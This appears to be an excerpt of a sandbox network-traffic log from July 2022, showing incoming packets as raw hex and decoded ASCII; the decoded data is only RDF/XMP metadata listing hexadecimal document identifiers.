2022-07-20 13:44:17 UTC	1685	IN	Data Raw: 41 46 36 45 42 45 32 46 45 32 38 37 33 35 35 43 37 43 45 34 30 31 39 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 39 45 36 39 34 33 35 44 32 36 33 30 34 32 34 45 35 33 42 39 34 44 44 39 31 45 42 44 37 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 30 41 41 31 34 39 46 41 33 39 37 37 34 44 30 36 37 46 38 36 45 33 45 31 43 41 32 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 46 42 43 32 41 35 39 35 39 37 37 30 31 37 38 45 30 41 34 38 44 30 36 43 38 32 37 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 36 37 37 34 38 38 46 36 30 38 35 32 39 43 37 34 43 33 45 39 44 33 42 45 32 32 36 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 43 35 42 41 30 38 36 33 Data Ascii: AF6EBE2FE287355C7CE401972C</rdf:li> <rdf:li>09E69435D2630424E53B94DD91EBD7C4</rdf:li> <rdf:li>0A00AA149FA39774D067F86E3E1CA2DE</rdf:li> <rdf:li>0A0FBC2A5959770178E0A48D06C8271D</rdf:li> <rdf:li>0A1677488F608529C74C3E9D3BE22620</rdf:li> <rdf:li>0A1C5BA0863
2022-07-20 13:44:17 UTC	1781	IN	Data Raw: 34 43 43 38 30 35 30 33 39 44 36 33 38 39 41 45 44 35 45 35 35 31 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 34 43 31 37 38 36 33 34 44 46 35 45 30 46 42 46 46 46 34 46 33 36 34 35 36 35 44 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 41 34 33 37 32 32 45 31 46 36 41 31 36 33 30 31 44 46 45 31 46 30 43 30 42 46 31 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 35 41 37 46 33 45 32 30 46 34 44 34 45 45 41 36 32 32 35 45 41 38 35 39 44 42 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 37 39 33 37 30 43 36 42 32 46 45 32 30 41 43 33 33 44 43 37 34 35 42 42 39 46 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 32 44 36 42 32 34 45 44 36 31 Data Ascii: 4CC805039D6389AED5E551F2</rdf:li> <rdf:li>1034C178634DF5E0FBFFF4F364565D5A</rdf:li> <rdf:li>103A43722E1F6A16301DFE1F0C0BF160</rdf:li> <rdf:li>103F5A7F3E20F4D4EEA6225EA859DB56</rdf:li> <rdf:li>103F79370C6B2FE20AC33DC745BB9F68</rdf:li> <rdf:li>1042D6B24ED61
2022-07-20 13:44:17 UTC	1852	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 31 44 39 46 38 45 42 36 36 31 36 37 37 36 38 45 34 46 30 39 46 46 46 30 39 31 38 34 44 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 41 33 35 32 35 36 44 31 45 41 42 32 45 32 44 36 34 37 44 33 46 36 45 33 46 46 42 45 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 43 43 36 46 42 35 46 30 38 35 46 39 41 44 41 34 43 31 42 38 46 32 44 33 30 39 38 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 45 36 30 36 46 42 30 43 34 37 35 44 44 34 34 46 37 39 36 43 44 42 37 46 37 42 41 41 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 46 36 41 43 46 30 43 32 45 34 46 43 35 43 35 37 31 31 41 36 44 38 31 43 39 31 38 39 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>1D9F8EB66167768E4F09FFF09184DF67</rdf:li> <rdf:li>1DA35256D1EAB2E2D647D3F6E3FFBE44</rdf:li> <rdf:li>1DCC6FB5F085F9ADA4C1B8F2D309842F</rdf:li> <rdf:li>1DE606FB0C475DD44F796CDB7F7BAA24</rdf:li> <rdf:li>1DF6ACF0C2E4FC5C5711A6D81C9189C9</rdf:li> <rdf:
2022-07-20 13:44:17 UTC	1900	IN	Data Raw: 31 43 46 37 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 39 30 44 34 43 41 39 32 46 36 43 44 41 33 39 36 37 42 37 38 38 30 38 42 37 39 39 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 35 30 31 43 41 42 37 46 46 34 33 32 44 43 39 35 31 39 37 44 30 44 34 39 36 34 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 41 42 39 35 39 41 32 46 33 30 41 36 37 34 36 36 39 36 41 41 46 30 32 32 39 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 46 35 31 36 37 46 31 41 32 35 35 45 37 39 41 45 31 45 41 45 32 38 43 33 43 32 33 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 43 37 33 31 46 41 44 34 43 46 41 32 44 36 30 43 32 34 45 30 46 45 32 33 42 32 32 45 44 Data Ascii: 1CF7DF</rdf:li> <rdf:li>2AB90D4CA92F6CDA3967B78808B799AC</rdf:li> <rdf:li>2ABB501CAB7FF432DC95197D0D4964E1</rdf:li> <rdf:li>2ABBAB959A2F30A6746696AAF0229D77</rdf:li> <rdf:li>2ABF5167F1A255E79AE1EAE28C3C2304</rdf:li> <rdf:li>2AC731FAD4CFA2D60C24E0FE23B22ED
2022-07-20 13:44:17 UTC	1964	IN	Data Raw: 3e 33 30 42 33 38 39 42 44 43 39 41 32 34 42 41 31 35 38 44 34 37 31 41 32 44 38 32 33 34 39 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 34 46 36 32 37 38 44 42 42 42 38 33 35 35 38 37 34 46 43 45 46 38 43 38 35 41 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 39 36 38 33 33 32 30 37 32 37 41 35 30 43 33 41 37 41 36 44 46 46 35 44 37 44 44 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 36 44 42 33 42 42 37 38 37 41 46 38 36 32 46 30 37 32 33 34 33 45 45 43 35 34 44 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 44 35 46 33 33 44 39 42 41 32 30 42 39 33 38 46 33 35 42 34 44 42 35 39 43 45 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 44 35 Data Ascii: >30B389BDC9A24BA158D471A2D8234940</rdf:li> <rdf:li>30B4F6278DBBB8355874FCEF8C85AB36</rdf:li> <rdf:li>30B9683320727A50C3A7A6DFF5D7DD0B</rdf:li> <rdf:li>30C6DB3BB787AF862F072343EEC54DDE</rdf:li> <rdf:li>30CD5F33D9BA20B938F35B4DB59CE65A</rdf:li> <rdf:li>30D5
2022-07-20 13:44:17 UTC	2035	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 46 45 43 46 46 30 46 38 30 39 37 44 36 38 37 46 34 42 33 31 37 30 36 30 31 37 33 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 33 35 38 39 38 34 36 46 43 36 46 42 44 34 41 34 39 36 38 45 42 42 32 37 35 31 44 46 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 34 35 41 37 31 39 34 30 32 36 45 43 31 32 31 41 41 37 38 46 45 41 38 45 38 36 38 42 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 35 31 39 38 42 37 45 36 42 32 46 35 36 44 41 44 32 42 36 39 33 32 37 33 46 37 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 37 39 37 31 36 41 30 42 45 45 32 33 32 46 32 41 46 34 46 45 44 43 39 32 34 46 35 45 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>3DFECFF0F8097D687F4B31706017342F</rdf:li> <rdf:li>3E3589846FC6FBD4A4968EBB2751DF99</rdf:li> <rdf:li>3E45A7194026EC121AA78FEA8E868B2D</rdf:li> <rdf:li>3E505198B7E6B2F56DAD2B693273F7C5</rdf:li> <rdf:li>3E5079716A0BEE232F2AF4FEDC924F5E</rdf:
2022-07-20 13:44:17 UTC	2051	IN	Data Raw: 41 45 34 34 43 44 43 32 38 39 39 42 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 30 35 43 36 37 37 36 44 33 44 44 41 32 44 35 38 38 37 34 32 33 32 35 44 31 39 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 35 30 45 33 36 37 38 34 45 44 43 37 39 30 39 39 32 30 42 44 32 46 46 33 44 37 36 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 45 36 46 37 43 37 39 43 35 41 38 43 36 32 41 34 45 37 32 46 31 36 45 32 43 37 41 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 46 46 41 35 43 33 42 44 42 45 39 30 41 33 44 46 46 39 39 35 31 44 36 46 46 45 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 42 34 39 37 41 32 36 41 34 41 43 32 32 33 31 46 39 33 34 45 Data Ascii: AE44CDC2899BA58</rdf:li> <rdf:li>4AA05C6776D3DDA2D588742325D193A7</rdf:li> <rdf:li>4AA50E36784EDC7909920BD2FF3D7655</rdf:li> <rdf:li>4AAE6F7C79C5A8C62A4E72F16E2C7A7C</rdf:li> <rdf:li>4AAFFA5C3BDBE90A3DFF9951D6FFE397</rdf:li> <rdf:li>4AB497A26A4AC2231F934E
2022-07-20 13:44:17 UTC	2123	IN	Data Raw: 45 34 38 34 46 31 37 46 37 33 30 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 33 43 38 45 31 33 31 33 33 46 34 44 41 37 34 38 39 44 33 45 41 31 31 37 30 31 33 30 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 34 42 36 43 36 34 45 31 35 36 34 32 42 44 42 33 36 37 46 32 45 39 44 46 34 35 30 36 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 35 46 46 34 43 32 30 42 44 32 43 30 34 34 37 43 31 43 44 45 44 32 39 33 34 36 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 46 34 35 46 44 38 41 34 36 42 41 44 43 37 39 34 45 41 30 44 36 45 45 31 43 37 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 38 30 34 36 35 32 45 34 37 36 31 30 41 31 37 31 45 46 46 30 43 46 Data Ascii: E484F17F730DD</rdf:li> <rdf:li>513C8E13133F4DA7489D3EA117013087</rdf:li> <rdf:li>514B6C64E15642BDB367F2E9DF45065E</rdf:li> <rdf:li>5165FF4C20BD2C0447C1CDED29346B41</rdf:li> <rdf:li>516F45FD8A46BADC794EA0D6EE1C7EAA</rdf:li> <rdf:li>51804652E47610A171EFF0CF
2022-07-20 13:44:17 UTC	2179	IN	Data Raw: 42 44 46 46 39 31 34 43 43 37 34 33 43 37 33 46 42 38 39 36 45 43 32 30 46 37 32 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 32 31 39 42 34 36 32 45 41 34 31 35 30 33 44 31 41 36 42 42 32 31 35 37 44 39 44 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 38 33 43 45 32 37 32 43 44 31 44 38 39 33 45 30 43 44 31 45 42 31 41 38 35 39 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 42 33 42 31 44 31 44 33 42 45 45 33 33 35 44 44 44 34 38 32 30 37 31 31 33 42 30 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 30 38 34 39 37 41 36 38 45 34 31 31 46 37 38 31 33 41 42 45 42 44 46 45 42 42 33 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 32 38 34 32 30 Data Ascii: BDFF914CC743C73FB896EC20F72EB</rdf:li> <rdf:li>5FA219B462EA41503D1A6BB2157D9DC6</rdf:li> <rdf:li>5FA83CE272CD1D893E0CD1EB1A859E86</rdf:li> <rdf:li>5FB3B1D1D3BEE335DDD48207113B08EA</rdf:li> <rdf:li>5FD08497A68E411F7813ABEBDFEBB3D8</rdf:li> <rdf:li>5FD28420
2022-07-20 13:44:17 UTC	2242	IN	Data Raw: 37 33 30 37 44 32 43 36 45 44 30 34 46 36 36 45 33 33 44 37 38 41 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 34 36 35 31 37 39 42 41 35 38 34 41 35 36 39 46 45 42 44 30 35 46 41 30 39 31 32 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 36 38 33 42 32 33 42 34 34 37 30 35 46 36 42 38 35 44 36 41 36 44 44 33 31 44 43 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 44 39 45 43 45 36 34 41 43 30 34 33 44 39 35 41 43 32 38 42 38 38 35 35 41 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 35 34 35 39 45 44 42 37 39 37 43 41 41 41 41 38 35 38 43 30 37 35 36 34 35 38 37 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 38 46 41 34 44 32 34 35 31 33 Data Ascii: 7307D2C6ED04F66E33D78A34</rdf:li> <rdf:li>6DD465179BA584A569FEBD05FA091253</rdf:li> <rdf:li>6DD683B23B44705F6B85D6A6DD31DCF2</rdf:li> <rdf:li>6DDD9ECE64AC043D95AC28B8855AEB01</rdf:li> <rdf:li>6E05459EDB797CAAAA858C07564587A8</rdf:li> <rdf:li>6E08FA4D24513
2022-07-20 13:44:17 UTC	2290	IN	Data Raw: 38 34 36 37 38 32 44 41 38 33 33 35 37 32 33 34 45 44 31 46 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 32 39 44 38 41 41 39 41 38 30 37 41 46 44 46 35 35 33 41 32 30 43 44 37 31 32 44 39 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 33 43 38 34 41 31 36 33 35 33 41 31 30 31 32 43 44 42 35 41 41 35 43 44 38 45 36 41 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 30 35 34 44 38 44 34 46 45 44 35 45 41 46 41 34 38 34 38 46 37 37 35 41 36 36 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 33 45 44 36 31 46 37 44 42 37 42 42 43 41 41 37 44 30 31 42 31 32 37 45 38 42 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 36 32 42 46 42 44 36 46 32 33 44 46 35 Data Ascii: 846782DA83357234ED1F69</rdf:li> <rdf:li>7529D8AA9A807AFDF553A20CD712D991</rdf:li> <rdf:li>753C84A16353A1012CDB5AA5CD8E6A9B</rdf:li> <rdf:li>7540054D8D4FED5EAFA4848F775A665C</rdf:li> <rdf:li>75403ED61F7DB7BBCAA7D01B127E8BB6</rdf:li> <rdf:li>7562BFBD6F23DF5
2022-07-20 13:44:17 UTC	2329	IN	Data Raw: 64 66 3a 6c 69 3e 38 32 41 37 30 37 45 37 34 43 43 30 30 42 39 39 43 37 36 31 43 32 39 42 38 38 46 45 32 41 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 39 45 32 36 43 32 42 31 34 42 33 38 38 41 39 37 38 30 30 31 41 37 43 41 34 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 44 42 37 35 42 33 35 38 31 39 45 30 44 42 38 34 31 42 42 33 41 33 44 33 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 43 34 30 34 42 36 31 44 33 37 36 31 32 38 41 33 41 43 33 37 37 31 30 45 43 34 35 30 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 44 34 41 46 33 33 35 36 37 43 45 44 32 34 36 32 31 37 30 32 45 42 43 41 45 45 46 38 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>82A707E74CC00B99C761C29B88FE2AC0</rdf:li> <rdf:li>82AE49E26C2B14B388A978001A7CA4DB</rdf:li> <rdf:li>82AE4DB75B35819E0DB841BB3A3D322D</rdf:li> <rdf:li>82C404B61D376128A3AC37710EC45027</rdf:li> <rdf:li>82D4AF33567CED24621702EBCAEEF80A</rdf:li> <rdf:li
2022-07-20 13:44:17 UTC	2472	IN	Data Raw: 34 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 37 38 33 43 32 35 39 42 31 42 41 45 30 30 31 37 30 36 37 37 33 42 44 38 31 38 31 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 34 46 46 41 43 31 30 43 44 35 41 33 37 33 45 39 38 30 46 43 35 42 31 46 41 31 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 35 42 39 43 42 33 41 30 34 31 37 34 34 41 44 38 38 39 46 33 38 41 39 39 35 43 42 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 32 32 32 37 34 41 35 36 36 30 39 43 33 45 35 46 32 43 38 32 42 46 32 45 43 30 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 42 37 38 36 35 38 37 45 38 32 31 46 30 38 41 30 43 38 43 42 30 36 46 44 36 34 44 39 46 3c Data Ascii: 43A7</rdf:li> <rdf:li>8F783C259B1BAE001706773BD8181D88</rdf:li> <rdf:li>8F94FFAC10CD5A373E980FC5B1FA16C4</rdf:li> <rdf:li>8F95B9CB3A041744AD889F38A995CB45</rdf:li> <rdf:li>8FA22274A56609C3E5F2C82BF2EC09B8</rdf:li> <rdf:li>8FAB786587E821F08A0C8CB06FD64D9F<
2022-07-20 13:44:17 UTC	2512	IN	Data Raw: 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 36 46 43 42 39 42 45 44 35 41 44 35 32 30 30 34 44 30 34 38 35 43 32 44 34 33 39 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 31 44 39 32 31 37 38 34 41 34 33 39 31 45 31 45 45 41 32 31 45 30 34 30 34 41 30 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 33 38 41 37 39 30 42 46 33 37 43 34 36 44 30 43 34 46 36 45 44 44 32 42 46 38 42 32 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 34 32 35 31 46 39 37 41 45 39 32 36 31 42 35 46 43 35 38 34 32 34 31 32 32 32 31 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 38 36 44 34 44 46 43 37 36 37 38 36 33 33 45 38 30 37 46 45 45 31 31 42 45 38 32 37 30 3c 2f 72 Data Ascii: 67</rdf:li> <rdf:li>96FCB9BED5AD52004D0485C2D4393282</rdf:li> <rdf:li>971D921784A4391E1EEA21E0404A0BDB</rdf:li> <rdf:li>9738A790BF37C46D0C4F6EDD2BF8B29B</rdf:li> <rdf:li>9744251F97AE9261B5FC584241222195</rdf:li> <rdf:li>97486D4DFC7678633E807FEE11BE8270</r
2022-07-20 13:44:17 UTC	2584	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 32 37 45 37 32 31 44 41 43 46 44 46 33 45 33 45 31 42 46 39 39 39 38 43 37 44 36 44 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 33 45 33 36 36 36 31 44 35 44 39 38 38 45 42 45 41 42 36 42 35 31 42 44 41 45 37 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 35 38 30 37 44 38 41 45 35 45 35 41 45 34 31 33 32 37 32 44 31 42 46 34 39 33 33 44 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 35 34 41 37 31 36 38 35 39 31 37 39 33 44 38 31 46 31 46 42 34 39 42 31 36 45 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 46 32 37 37 43 35 43 41 36 36 31 30 36 41 38 42 41 46 44 43 46 32 33 35 46 39 42 33 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>A427E721DACFDF3E3E1BF9998C7D6D0E</rdf:li> <rdf:li>A43E36661D5D988EBEAB6B51BDAE7CD9</rdf:li> <rdf:li>A45807D8AE5E5AE413272D1BF4933D7F</rdf:li> <rdf:li>A46254A7168591793D81F1FB49B16E6A</rdf:li> <rdf:li>A462F277C5CA66106A8BAFDCF235F9B3</rdf:li
2022-07-20 13:44:17 UTC	2600	IN	Data Raw: 43 32 42 30 46 34 45 35 34 30 42 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 30 37 32 44 30 30 41 33 31 41 36 34 44 37 39 33 35 42 34 42 41 32 45 32 44 33 39 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 35 37 37 35 43 43 34 30 44 35 37 32 44 34 38 41 33 43 44 45 43 31 30 36 34 46 45 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 36 38 46 31 39 42 42 36 31 37 39 42 37 44 38 35 45 36 35 43 39 37 38 43 32 39 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 33 44 30 45 33 34 32 43 34 35 33 41 35 45 43 39 34 37 45 43 32 37 44 38 37 42 41 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 41 46 38 44 33 37 37 36 41 43 30 32 37 44 39 43 32 33 42 37 41 Data Ascii: C2B0F4E540B30</rdf:li> <rdf:li>B1B072D00A31A64D7935B4BA2E2D3989</rdf:li> <rdf:li>B1B5775CC40D572D48A3CDEC1064FE25</rdf:li> <rdf:li>B1B68F19BB6179B7D85E65C978C29E09</rdf:li> <rdf:li>B1D3D0E342C453A5EC947EC27D87BA7B</rdf:li> <rdf:li>B1DAF8D3776AC027D9C23B7A
2022-07-20 13:44:17 UTC	2608	IN	Data Raw: 45 32 35 35 43 46 39 30 45 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 39 35 39 41 42 32 45 41 35 46 34 46 33 41 38 36 38 43 42 37 35 46 43 43 34 34 33 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 41 38 43 36 30 42 41 46 46 33 34 37 46 45 31 41 31 37 31 38 37 42 46 31 32 37 46 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 32 37 44 45 43 33 35 38 45 43 41 42 36 39 34 32 45 36 36 39 32 42 43 43 33 33 37 37 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 33 32 44 33 34 37 44 34 37 35 39 42 37 45 33 44 30 44 41 45 43 43 38 31 42 32 44 30 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 35 44 36 41 45 46 43 42 37 34 37 42 43 36 39 31 43 30 46 37 31 38 31 46 Data Ascii: E255CF90EEF</rdf:li> <rdf:li>B80959AB2EA5F4F3A868CB75FCC44319</rdf:li> <rdf:li>B80A8C60BAFF347FE1A17187BF127FF9</rdf:li> <rdf:li>B827DEC358ECAB6942E6692BCC3377CA</rdf:li> <rdf:li>B832D347D4759B7E3D0DAECC81B2D07B</rdf:li> <rdf:li>B85D6AEFCB747BC691C0F7181F
2022-07-20 13:44:17 UTC	2609	IN	Data Raw: 42 46 31 31 36 36 38 35 46 38 42 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 46 45 41 36 46 43 37 34 36 36 38 36 45 46 31 31 36 33 42 32 43 43 34 34 34 46 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 35 43 45 35 30 30 32 46 43 44 33 42 30 39 31 36 36 46 30 37 41 31 35 45 30 33 44 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 36 39 39 32 34 41 37 31 32 46 33 42 39 38 33 35 43 46 33 46 37 35 30 37 46 32 37 31 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 34 41 34 44 41 34 42 39 32 33 43 35 39 30 43 36 36 33 32 45 37 41 45 35 41 44 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 46 35 46 30 34 38 41 34 43 42 42 34 35 33 34 39 38 45 31 46 42 Data Ascii: BF116685F8B25</rdf:li> <rdf:li>B94FEA6FC746686EF1163B2CC444F868</rdf:li> <rdf:li>B95CE5002FCD3B09166F07A15E03DEA8</rdf:li> <rdf:li>B969924A712F3B9835CF3F7507F271EF</rdf:li> <rdf:li>B974A4DA4B923C590C6632E7AE5AD8F3</rdf:li> <rdf:li>B97F5F048A4CBB453498E1FB
2022-07-20 13:44:17 UTC	2649	IN	Data Raw: 32 36 38 39 39 36 38 32 42 38 41 32 44 45 32 42 33 37 30 35 44 32 35 30 45 30 43 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 32 43 39 41 33 34 45 46 44 33 34 32 38 43 31 33 31 39 44 46 45 35 46 32 45 36 41 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 42 42 34 32 39 46 35 31 43 38 45 41 37 45 32 36 32 31 30 33 36 41 41 30 39 30 36 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 32 38 38 37 33 36 30 30 33 39 43 39 37 42 37 34 38 32 34 43 33 30 39 36 31 39 41 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 39 33 41 38 46 44 43 44 30 33 42 46 36 30 46 33 32 39 45 36 36 33 46 37 33 45 36 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 43 32 32 43 45 38 Data Ascii: 26899682B8A2DE2B3705D250E0C29</rdf:li> <rdf:li>C7A2C9A34EFD3428C1319DFE5F2E6A9F</rdf:li> <rdf:li>C7ABB429F51C8EA7E2621036AA09069E</rdf:li> <rdf:li>C7B2887360039C97B74824C309619A49</rdf:li> <rdf:li>C7B93A8FDCD03BF60F329E663F73E67C</rdf:li> <rdf:li>C7C22CE8
